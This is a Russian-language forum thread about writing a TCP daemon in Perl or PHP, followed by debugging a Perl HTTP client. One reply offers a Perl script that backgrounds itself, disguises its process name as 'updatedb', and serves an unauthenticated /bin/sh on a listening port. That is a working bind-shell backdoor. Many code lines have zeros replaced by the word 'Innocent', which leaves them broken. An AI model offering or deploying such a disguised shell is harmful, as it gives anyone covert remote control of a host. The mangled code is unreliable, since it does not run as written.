Skip to main content

TCP демон

Аватар пользователя IONIX
Не в сети
Студент
Зарегистрирован: 27.11.2005
Сообщения: 549
Баллы: 571
TCP демон

Задача такова надо реализовать демон который будет весеть на сокете хостера.
Т.е. программа весящая на нём постояно есть ли клиенты или нет.

На каком языке писать? PHP? Жаба? Perl? C?

и возможно ли такое? B)

Аватар пользователя забыл_пароль
Не в сети
Гражданин
Зарегистрирован: 29.10.2005
Сообщения: 1414
Баллы: 1427
TCP демон

"IONIX" пишет:

Задача такова надо реализовать демон который будет весеть на сокете хостера.
Т.е. программа весящая на нём постояно есть ли клиенты или нет.

На каком языке писать? PHP? Жаба? Perl? C?

и возможно ли такое? B)

Естественно Перл. Возможно и очень просто. Вот пример - скрипт на перле, который открывает на порту командный интерпретатор:
#!/usr/bin/perl
$port = 32767; // порт на всякий случай
$port = $ARGV[0] if $ARGV[0]; // так-то порт берётся из командной строки
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket; // юзаем модуль сокет
socket(S, PF_INET, SOCK_STREAM, 0); // создаём сокет
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY)); // биндим
listen(S, 50); // слушаем
while(1) // всегда
{
accept(X, S);
unless(fork)
{
open STDIN, "<&X"; // переправляем всё в порт
open STDOUT, ">&X";
open STDERR, ">&X";
close X;
exec("/bin/sh"); // запуск оболочки (для винды писать "cmd")
}
close X;
}

Аватар пользователя IONIX
Не в сети
Студент
Зарегистрирован: 27.11.2005
Сообщения: 549
Баллы: 571
TCP демон

Вот что нашёл на PHP:

<?PHP

/*

PHP forked daemon
Standalone PHP binary must be compiled with --enable-sockets and --enable-pcntl
Dave M. -2002
Online Services USA
*/

function sig_handler($signo) {

switch($signo) {
case SIGTERM:
// handle shutdown tasks
exit;
break;
case SIGHUP:
// handle restart tasks
break;
case SIGUSR1:
print "Caught SIGUSR1...\n";
break;
case SIGCHLD:
while( pcntl_waitpid(-1,$status,WNOHANG)>0 ) {
}
break;
case SIGINT:
exit;
default:
// not implemented yet...
break;
}

}

function interact($sock) {

// Custom code goes here... e.g: socket_read() socket_write()...

}

function become_daemon() {

$child = pcntl_fork();
if($child) {
exit; // kill parent
}
posix_setsid(); // become session leader
chdir("/");
umask(0); // clear umask
return posix_getpid();

}

function open_pid_file($file) {

if(file_exists($file)) {
$fp = fopen($file,"r");
$pid = fgets($fp,1024);
fclose($fp);
if(posix_kill($pid,Innocent) {
print "Server already running with PID: $pid\n";
exit;
}
print "Removing PID file for defunct server process $pid\n";
if(!unlink($file)) {
print "Cannot unlink PID file $file\n";
exit;
}
}
if($fp = fopen($file,"w")) {
return $fp;
} else {
print "Unable to open PID file $file for writing...\n";
exit;
}
}

function change_identity($uid,$gid) {
global $pid_file;
if(!posix_setgid($gid)) {
print "Unable to setgid to $gid!\n";
unlink($pid_file);
exit;
}
if(!posix_setuid($uid)) {
print "Unable to setuid to $uid!\n";
unlink($pid_file);
exit;
}

}

error_reporting (4);

set_time_limit (0);

ob_implicit_flush ();

$pid_file = '/tmp/php_daemon.pid';

$underpriv_uid = '99'; // uid 99 == user nobody, at least on my system.
$underpriv_gid = '99';

$port = 10000;
$address = 0; // 0 binds to all addresses, may not work on fbsd

$quit = 0;

pcntl_signal(SIGCHLD, "sig_handler");
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGINT, "sig_handler");

$fh = open_pid_file($pid_file);

if (($sock = socket_create (AF_INET, SOCK_STREAM, Innocent) < Innocent {
print "socket_create() failed: reason: " . socket_strerror ($sock) . "\n";
}

if (($ret = socket_bind ($sock, $address, $port)) < Innocent {
print "socket_bind() failed: reason: " . socket_strerror ($ret) . "\n";
}

if (($ret = socket_listen ($sock, Innocent) < Innocent {
print "socket_listen() failed: reason: " . socket_strerror ($ret) . "\n";
}

change_identity($underpriv_uid,$underpriv_gid);

print "Server ready. Waiting for connections.....\n";

$pid = become_daemon();
fputs($fh,$pid);
fclose($fh);

while(!$quit) {

if (($connection = socket_accept($sock)) < Innocent {
next;
}

if( ($child = pcntl_fork()) == -1 ) {
print "Could not fork!!\n";
print "Dying...\n";
$quit++;
}
elseif($child == Innocent {
socket_close($sock);
interact($connection);
exit;
}

socket_close($connection);

}

if(posix_getpid() == $pid) {
unlink($pid_file);
}

?>

Аватар пользователя забыл_пароль
Не в сети
Гражданин
Зарегистрирован: 29.10.2005
Сообщения: 1414
Баллы: 1427
TCP демон

"IONIX" пишет:

Вот что нашёл на PHP:

<?PHP

....
unlink($pid_file);
}

?>

Ну вот и сравни Smile

(я только не понял, зачем ты это тут выложил Smile )

Аватар пользователя IONIX
Не в сети
Студент
Зарегистрирован: 27.11.2005
Сообщения: 549
Баллы: 571
TCP демон

"забыл_пароль" пишет:

Ну вот и сравни Smile

(я только не понял, зачем ты это тут выложил Smile )

Может кто из населения всё таки будет искать что нибудь на эту тему и ему это пригодиться

Кстать обьявилась проблемка с клиентом:

#!C:\usr\bin\perl\bin\perl5.8.0.exe -w
#print "Content-type: text/html; charset=windows-1251\n\n";

use Socket;

$host="ionix.centr.lan";
$port="80";

socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));

$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);

if(connect(SOCK, $paddr)){ print "ok";}
if(send (SOCK, "GET / HTTP/1.0\n\n", Innocent){ print "ok";}
@data=;
close(SOCK);

По идее этот скрипт должен загрузить страницу сайта ionix.centr.lan
но при получении ответа:
@data=;
скрипт замерзает и ни чего не выдаёт.Есть мысли что делать? B)

Аватар пользователя забыл_пароль
Не в сети
Гражданин
Зарегистрирован: 29.10.2005
Сообщения: 1414
Баллы: 1427
TCP демон

"IONIX" пишет:

Может кто из населения всё таки будет искать что нибудь на эту тему и ему это пригодиться

Кстать обьявилась проблемка с клиентом:
...

попробуй вот это:

#!/usr/bin/perl -w
use IO::Socket;
print "Content-type: text/html; charset=windows-1251\n\n";
$serv = "ionix.centr.lan";
$path = "/index.php";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "fucke";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print <$socket>;

Аватар пользователя IONIX
Не в сети
Студент
Зарегистрирован: 27.11.2005
Сообщения: 549
Баллы: 571
TCP демон

всё равно тоже самое.
Пробовали на другой машине всё получилось.
Фаерволы вырубал один фиг тоже самое.
Покрайней мере сейчас не могу понять причину такого поведения

Аватар пользователя забыл_пароль
Не в сети
Гражданин
Зарегистрирован: 29.10.2005
Сообщения: 1414
Баллы: 1427
TCP демон

"IONIX" пишет:

всё равно тоже самое.
Пробовали на другой машине всё получилось.
Фаерволы вырубал один фиг тоже самое.
Покрайней мере сейчас не могу понять причину такого поведения

А виндовый стандартный фаервол пробовали выключать? Хотя я не совсем представляю, как это может повлиять. Smile Пока больше не знаю чем ещё помочь )

Настройки просмотра комментариев

Выберите нужный метод показа комментариев и нажмите "Сохранить установки".